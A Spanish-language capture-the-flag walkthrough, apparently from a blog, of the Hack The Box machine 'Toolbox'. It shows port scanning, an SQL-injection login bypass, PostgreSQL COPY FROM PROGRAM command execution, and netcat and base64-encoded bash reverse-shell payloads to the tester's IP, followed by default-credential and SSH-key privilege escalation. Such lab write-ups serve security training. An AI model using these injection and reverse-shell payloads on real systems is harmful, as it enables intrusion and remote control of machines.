Toolbox
October 29, 202311 minutes
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
ping -c 1 10.10.10.236
PING 10.10.10.236 (10.10.10.236) 56(84) bytes of data.
64 bytes from 10.10.10.236: icmp_seq=1 ttl=127 time=152 ms
--- 10.10.10.236 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 151.535/151.535/151.535/0.000 ms
Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Windows
Escaneo de puertos
Ahora empezamos con un escaneo de puertos
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.236 -oG allPorts
Explicación parámetros
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Para saltar la comprobación de sí la máquina está activa o no |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.236
5 │ [*] Open ports: 21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap
> nmap -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 -sCV 10.10.10.236 -oN versions
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.38 ((Debian))
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: MegaLogistics
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-10-29T20:34:08
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: 1s
Explicación parámetros
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
FTP
Nmap a reportada que en el puerto 21 (FTP) está el login Anonymous habilitado. Esto significa que podemos entrar con el usuario anonymous sin necesidad de proporcionar contraseña. Una vez conectados vemos un archivo llamado docker-toolbox.exe que de momento no podemos hacer nada con él, pero no lo olvidaremos 😉
$ ftp 10.10.10.236
Connected to 10.10.10.236.
Name (10.10.10.236:d3b0o): anonymous
331 Password required for anonymous
Password:
230 Logged on
ftp> ls
-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
SMB
El nmap también reporto que había un smb corriendo en la máquina víctima. Con un crackmapexec vemos un poco más de información sobre la máquina víctima…
crackmapexec smb 10.10.10.236
SMB 10.10.10.236 445 TOOLBOX [*] Windows 10.0 Build 17763 x64 (name:TOOLBOX) (domain:Toolbox) (signing:False) (SMBv1:False)
Ahora podríamos probar de listar los recursos compartidos en el smb para ello vamos a usar distintas herramientas, pero no tenemos permisos para enumerar los recursos así que no podemos tirar por aquí tampoco
HTTPS
Volviendo al escaneo de nmap, hay una línea en el resultado del puerto 443 que dice lo siguiente
ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
Así que vamos a añadir este dominio en el /etc/hosts
10.10.10.236 megalogistic.com admin.megalogistic.com
En la web admin.megalogistic.com vemos un panel de login. Al probar la tipica inyección sql ' or 1=1-- -
en el campo del usuario vemos que podemos iniciar sesión satisfactoriamente. En la web no podemos sacar mucha información, simplemente podemos ver el desarrollador y la versión (MegaCorp 1.0.0) y un to-do que dice lo siguiente:
- Enviar credenciales a Tony
- Actualizar los drivers de la impresora
Intrusión
En el panel anterior se pueden probar más cositas, de momento solo hemos probado de iniciar sesión con el 'or 1=1-- -
, pero a lo mejor podemos hacer más cositas.
Empezamos poniendo una comilla para ver si sale algún error legible de la base de datos.
Warning: pg_query(): Query failed: ERROR: unterminated quoted string at or near "''' AND password = md5('');" LINE 1: SELECT * FROM users WHERE username = ''' AND password = md5(... ^ in /var/www/admin/index.php on line 10
Warning: pg_num_rows() expects parameter 1 to be resource, bool given in /var/www/admin/index.php on line 11
Efectivamente, sale un error en el cual sale pg_query()
con esto sabemos que estamos ante un PostgreSQL
Para saber como hacer una inyección a un PostgreSQL existe un recurso muy interesante de la repo de Payloads All The Things, en el cual se menciona una vulnerabilidad interesante que consiste en derivar la inyección sql a un rce (Remote Code Execution)
Básicamente, consiste en crear una tabla en la base de datos en uso por la web
CREATE TABLE cmd_exec(cmd_output text);
Mediante COPY se pondrá en la tabla el resultado del comando id
, lo que provocará que se ejecute el comando ìd
COPY cmd_exec FROM PROGRAM 'id';
De forma opcional, en el caso de que podamos ver el output lo podríamos ver simplemente haciendo una petición a la tabla cmd_exec
SELECT * FROM cmd_exec;
Sabiendo esto vamos con la explotación:
Primero se intercepta la petición con burpsuite y la mandamos al repeter para trabajar mejor. En el apartado username vamos a añadir una comilla para cerrar la del username y despues vamos a poner un ;
para hacer otra petición. Ahora ya podemos poner la petición que realizara la inyección CREATE TABLE cmd_exec(cmd_output text);
. Por último al final se comenta con un -- -
para que ignore la siguiente parte de la querry de verificación de la password (Si esto no te queda claro tengo un video en mi canal de youtube en el cual explico en 6 minutos como funcionan las inyecciones sql)
username=';+CREATE+TABLE+cmd_exec(cmd_output text)-- -
Ahora ya tenemos la tabla cmd_exec creada
Reverse Shell
Sabiendo que la máquina es windows si queremos mandarnos una reverse shell tenemos que compartir con un samba el ejecutable de netcat (nc.exe). Si estás desde un kali o parrot seguramente ya lo tendrás instalado lo puedes encontrar con un locate nc.exe
. Ahora, ya desde el mismo directorio que tenemos el nc.exe podemos abrir el servidor samba de la siguiente forma:
impacket-smbserver smb $(pwd) --smb2support
Explicación parámetros
- ${pwd}: Esto equivale a poner la ruta actual de trabajo, en este comando nos sirve para decir donde queremos que abra el servidor samba
- –smb2support: Sirve para habilitar el soporte de la versión 2 de samba
Ahora nos ponemos en escucha por el puerto 443 para recibir la reverse shell
nc -nlvp 443
Explicación parámetros
- n: Sirve para que no haga la resolución de DNS
- l: Habilitar modo escucha de netcat
- v: Verbose, modo detallado de netcat
- p: Por último la p sirve para especificar el número de puerto en el cual vamos a estar en escucha
Teniendo el servidor samba abierto y estando en escucha ya podemos mandar la reverse shell mediante la inyección sql.
username=';+COPY+cmd_exec+FROM+PROGRAM+'//10.10.14.28/nc.exe+-e+cmd.exe+10.10.14.28+443'-- -&password=test
No recibimos nada…
A lo mejor, por mucho que la máquina sea windows tiene un docker así que podemos probar de en vez de mandar la reverseshell con un netcat en un samba, mandarla directamente con bash
La típica reverse shell de bash es: bash -i >& /dev/tcp/10.10.14.28/443 0>&1
, pero lo pondremos dentro de bash -c "bash- i..."
porque puede ser que la normal la bloquee la máquina víctima. En resumen quedará así:
bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"
Antes de aplicarlo a la inyección vamos a convertirlo en base64 para evitar que los caracteres especiales den problemas.
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.28/443 0>&1"' | base64
Ahora ya tenemos el base64 generado, pero hay un +
en la cadena, el cual podemos sustituir por un %2b
.
El comando final que tendremos que poner en la inyección seria, primero un echo con el base64, después un base64 -d
para decodear el base64 y por último bash
para que el resultado del base64 lo ejecute con bash.
echo "YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK" | base64 -d | bash
Esto aplicado a la inyección se vería de la siguiente forma:
username=';+COPY+cmd_exec+FROM+PROGRAM+'echo+"YmFzaCAtYyAiYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yOC80NDMgMD4mMSIK"+|+base64+-d+|+bash'--+-
¡¡¡¡Recibimos la conexión!!!!!
Antes de la escalada, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c
, ctrl + l
, nano…
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export TERM=xterm
export SHELL=bash
Escalada de privilegios
Podemos identificar que estamos en un docker porque en la raíz está el archivo .dockerenv
postgres@bc56e3cc55e9:/$ ls -la
total 80
drwxr-xr-x 1 root root 4096 Mar 29 2021 .
drwxr-xr-x 1 root root 4096 Mar 29 2021 ..
-rwxr-xr-x 1 root root 0 Mar 29 2021 .dockerenv
drwxr-xr-x 1 root root 4096 Feb 19 2020 bin
drwxr-xr-x 2 root root 4096 Nov 10 2019 boot
drwxr-xr-x 5 root root 340 Oct 30 20:54 dev
...
Si hacemos una búsqueda por google podemos encontrar unas credenciales por default del ssh en los boot2docker (web)
- user: docker
- pass: tcuser
Si miramos que ip tenemos con ifconfig, vemos la 172.17.0.2, la gateway seguramente será la 172.17.0.1
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 1338 bytes 183525 (179.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1163 bytes 173814 (169.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 3461 bytes 1232799 (1.1 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3461 bytes 1232799 (1.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Así que nos podemos conectar a la máquina host del docker con ssh docker@172.17.0.1
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ssh docker@172.17.0.1
docker@172.17.0.1's password:
( '>')
/) TC (\ Core is distributed with ABSOLUTELY NO WARRANTY.
(/-_--_-\) www.tinycorelinux.net
docker@box:~$
Escalada root/Administrator
Si hacemos un sudo -l para ver que podemos ejecutar con sudo, nos muestra que podemos ejecutar todos los comandos como root sin la necesidad de proporcionar contraseña.
docker@box:~$ sudo -l
User docker may run the following commands on this host:
(root) NOPASSWD: ALL
docker@box:~$
Sabiendo esto simplemente podemos poner sudo bash
y ya seremos root
docker@box:~$ sudo bash
root@box:/home/docker#
Al investigar un poco los archivo de la raíz se puede ver que hay un directorio llamado c
en el cual hay una estructura de carpetas parecida a la de windows, ahí podemos encontrar la flag final
root@box:/c/Users/Administrator/Desktop# ls
desktop.ini root.txt
root@box:/c/Users/Administrator/Desktop#
Y ya tendríamos la flag de root.txt
Como extra, en el directorio /c/Windows/Users/.ssh
podemos ver una llave privada de ssh la cual podemos usar para salir del docker e ir a la máquina host. Para usarla tenemos que guardarla en un archivo en nuestra máquina
Para que no de problemas le tenemos que dar permisos
chmod 600 id_rsa
Ahora ya nos podemos conectar por ssh como Administrator en la máquina víctima con el siguiente comando
ssh -i id_rsa Administrator@10.10.10.236
Y ya tenemos una consola como Administrator en la máquina víctima
$ ssh -i id_rsa Administrator@10.10.10.236
administrator@TOOLBOX C:\Users\Administrator>